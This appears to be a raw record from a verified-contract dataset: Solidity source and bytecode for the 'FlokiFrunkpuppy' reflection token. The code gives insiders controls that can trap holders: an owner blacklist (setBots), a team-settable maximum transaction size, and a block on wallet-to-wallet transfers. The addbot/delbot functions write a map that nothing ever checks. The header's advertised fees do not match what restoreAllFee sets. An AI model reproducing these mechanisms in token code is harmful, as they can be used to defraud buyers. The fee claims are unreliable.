74696d6174656420657865637574696f6e20626c6f636b206d75737420736174697366792064656c61792e54696d656c6f636b3a3a73657444656c61793a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2e54696d656c6f636b3a3a73657450656e64696e6741646d696e3a2021696e69742026202161646d696ea265627a7a72315820f8566214c313d617123f4887861646eba151f313ee3b65a95b7739aa751bd28b64736f6c634300050f0032
|
{"success": true, "error": null, "results": {}}
| 8,090 |
0x19ee1fc50cb0f0a4702376a280760ab2ab617941
|
/**
*Submitted for verification at Etherscan.io on 2021-10-04
*/
/*
Welcome to the official FlokiFrunkpuppy token!
100 Million total supply
8% development/buyback fees
2% redistribution to holders
TG: @FlokiFrunkpuppy
Website: Coming ASAP
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract FlokiFrunkpuppy is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "FlokiFrunkpuppy";
string private constant _symbol = "FLOKIFRUNK";
uint8 private constant _decimals = 9;
//RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 8;
uint256 private _redisfee = 2;
//Bots
mapping (address => bool) bannedUsers;
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value:
address(this).balance}
(address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _redisfee == 0) return;
_taxFee = 0;
_redisfee = 0;
}
function restoreAllFee() private {
_taxFee = 4;
_redisfee = 2;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (120 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function addbot(address account, bool banned) public {
require(_msgSender() == _teamAddress);
if (banned) {
require( block.timestamp + 3 days > block.timestamp, "x");
bannedUsers[account] = true;
} else {
delete bannedUsers[account];
}
emit WalletBanStatusUpdated(account, banned);
}
function delbot(address account) public {
require(_msgSender() == _teamAddress);
bannedUsers[account] = false;
}
event WalletBanStatusUpdated(address user, bool banned);
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function maxtx(uint256 maxTxPercent) external {
require(_msgSender() == _teamAddress);
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**4);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _redisfee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101185760003560e01c806370a08231116100a0578063b515566a11610064578063b515566a14610398578063c3c8cd80146103c1578063c9567bf9146103d8578063dd62ed3e146103ef578063e5dbce821461042c5761011f565b806370a08231146102b1578063715018a6146102ee5780638da5cb5b1461030557806395d89b4114610330578063a9059cbb1461035b5761011f565b80632634e5e8116100e75780632634e5e8146101f4578063313ce5671461021d578063514d1b4e146102485780635932ead1146102715780636fc3eaec1461029a5761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610455565b604051610146919061306e565b60405180910390f35b34801561015b57600080fd5b5061017660048036038101906101719190612b29565b610492565b6040516101839190613053565b60405180910390f35b34801561019857600080fd5b506101a16104b0565b6040516101ae9190613230565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d99190612a96565b6104c0565b6040516101eb9190613053565b60405180910390f35b34801561020057600080fd5b5061021b60048036038101906102169190612c0c565b610599565b005b34801561022957600080fd5b506102326106ae565b60405161023f91906132a5565b60405180910390f35b34801561025457600080fd5b5061026f600480360381019061026a9190612ae9565b6106b7565b005b34801561027d57600080fd5b5061029860048036038101906102939190612bb2565b610858565b005b3480156102a657600080fd5b506102af61090a565b005b3480156102bd57600080fd5b506102d860048036038101906102d391906129fc565b61097c565b6040516102e59190613230565b60405180910390f35b3480156102fa57600080fd5b506103036109cd565b005b34801561031157600080fd5b5061031a610b20565b6040516103279190612f5c565b60405180910390f35b34801561033c57600080fd5b50610345610b49565b604051610352919061306e565b60405180910390f35b34801561036757600080fd5b50610382600480360381019061037d9190612b29565b610b86565b60405161038f9190613053565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba9190612b69565b610ba4565b005b3480156103cd57600080fd5b506103d6610cce565b005b3480156103e457600080fd5b506103ed610d48565b005b3480156103fb57600080fd5b5061041660048036038101906104119190612a56565b6112a3565b6040516104239190613230565b60405180910390f35b34801561043857600080fd5b50610453600480360381019061044e91906129fc565b61132a565b005b60606040518060400160405280600f81526020017f466c6f6b694672756e6b70757070790000000000000000000000000000000000815250905090565b60006104a661049f6113e6565b84846113ee565b6001905092915050565b600067016345785d8a0000905090565b60006104cd8484846115b9565b61058e846104d96113e6565b610589856040518060600160405280602881526020016139d560289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061053f6113e6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d789092919063ffffffff16565b6113ee565b600190509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105da6113e6565b73ffffffffffffffffffffffffffffffffffffffff16146105fa57600080fd5b6000811161063d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063490613110565b60405180910390fd5b61066c61271061065e8367016345785d8a0000611ddc90919063ffffffff16565b611e5790919063ffffffff16565b6011819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6011546040516106a39190613230565b60405180910390a150565b60006009905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106f86113e6565b73ffffffffffffffffffffffffffffffffffffffff161461071857600080fd5b80156107cb57426203f4804261072e9190613366565b1161076e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076590613130565b60405180910390fd5b6001600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061081b565b600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81549060ff02191690555b7ffc70dcce81b5afebab40f1a9a0fe597f9097cb179cb4508e875b7b166838f88d828260405161084c929190612fa0565b60405180910390a15050565b6108606113e6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e490613170565b60405180910390fd5b80601060176101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661094b6113e6565b73ffffffffffffffffffffffffffffffffffffffff161461096b57600080fd5b600047905061097981611ea1565b50565b60006109c6600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f9c565b9050919050565b6109d56113e6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5990613170565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f464c4f4b494652554e4b00000000000000000000000000000000000000000000815250905090565b6000610b9a610b936113e6565b84846115b9565b6001905092915050565b610bac6113e6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3090613170565b60405180910390fd5b60005b8151811015610cca576001600b6000848481518110610c5e57610c5d6135ed565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610cc290613546565b915050610c3c565b5050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d0f6113e6565b73ffffffffffffffffffffffffffffffffffffffff1614610d2f57600080fd5b6000610d3a3061097c565b9050610d458161200a565b50565b610d506113e6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ddd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd490613170565b60405180910390fd5b601060149054906101000a900460ff1615610e2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e24906131f0565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ebc30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1667016345785d8a00006113ee565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f0257600080fd5b505afa158015610f16573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f3a9190612a29565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610f9c57600080fd5b505afa158015610fb0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fd49190612a29565b6040518363ffffffff1660e01b8152600401610ff1929190612f77565b602060405180830381600087803b15801561100b57600080fd5b505af115801561101f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110439190612a29565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306110cc3061097c565b6000806110d7610b20565b426040518863ffffffff1660e01b81526004016110f996959493929190612ff2565b6060604051808303818588803b15801561111257600080fd5b505af1158015611126573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061114b9190612c39565b5050506001601060166101000a81548160ff0219169083151502179055506001601060176101000a81548160ff02191690831515021790555067016345785d8a00006011819055506001601060146101000a81548160ff021916908315150217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161124d929190612fc9565b602060405180830381600087803b15801561126757600080fd5b505af115801561127b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061129f9190612bdf565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661136b6113e6565b73ffffffffffffffffffffffffffffffffffffffff161461138b57600080fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561145e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611455906131d0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c5906130d0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115ac9190613230565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611629576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611620906131b0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611699576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169090613090565b60405180910390fd5b600081116116dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d390613190565b60405180910390fd5b6116e4610b20565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117525750611722610b20565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cb557601060179054906101000a900460ff1615611985573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117d457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561182e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118885750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561198457600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166118ce6113e6565b73ffffffffffffffffffffffffffffffffffffffff1614806119445750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661192c6113e6565b73ffffffffffffffffffffffffffffffffffffffff16145b611983576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197a90613210565b60405180910390fd5b5b5b60115481111561199457600080fd5b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a385750600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611a4157600080fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611aec5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b425750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611b5a5750601060179054906101000a900460ff165b15611bfb5742600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611baa57600080fd5b607842611bb79190613366565b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611c063061097c565b9050601060159054906101000a900460ff16158015611c735750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c8b5750601060169054906101000a900460ff165b15611cb357611c998161200a565b60004790506000811115611cb157611cb047611ea1565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d5c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d6657600090505b611d7284848484612292565b50505050565b6000838311158290611dc0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db7919061306e565b60405180910390fd5b5060008385611dcf9190613447565b9050809150509392505050565b600080831415611def5760009050611e51565b60008284611dfd91906133ed565b9050828482611e0c91906133bc565b14611e4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4390613150565b60405180910390fd5b809150505b92915050565b6000611e9983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506122bf565b905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ef1600284611e5790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611f1c573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611f6d600284611e5790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611f98573d6000803e3d6000fd5b5050565b6000600654821115611fe3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fda906130b0565b60405180910390fd5b6000611fed612322565b90506120028184611e5790919063ffffffff16565b915050919050565b6001601060156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156120425761204161361c565b5b6040519080825280602002602001820160405280156120705781602001602082028036833780820191505090505b5090503081600081518110612088576120876135ed565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561212a57600080fd5b505afa15801561213e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121629190612a29565b81600181518110612176576121756135ed565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506121dd30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113ee565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161224195949392919061324b565b600060405180830381600087803b15801561225b57600080fd5b505af115801561226f573d6000803e3d6000fd5b50505050506000601060156101000a81548160ff02191690831515021790555050565b806122a05761229f61234d565b5b6122ab84848461237e565b806122b9576122b8612549565b5b50505050565b60008083118290612306576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122fd919061306e565b60405180910390fd5b506000838561231591906133bc565b9050809150509392505050565b600080600061232f61255b565b915091506123468183611e5790919063ffffffff16565b9250505090565b600060085414801561236157506000600954145b1561236b5761237c565b600060088190555060006009819055505b565b600080600080600080612390876125ba565b9550955095509550955095506123ee86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461262290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061248385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124cf816126ca565b6124d98483612787565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516125369190613230565b60405180910390a3505050505050505050565b60046008819055506002600981905550565b60008060006006549050600067016345785d8a0000905061258f67016345785d8a0000600654611e5790919063ffffffff16565b8210156125ad5760065467016345785d8a00009350935050506125b6565b81819350935050505b9091565b60008060008060008060008060006125d78a6008546009546127c1565b92509250925060006125e7612322565b9050600080600061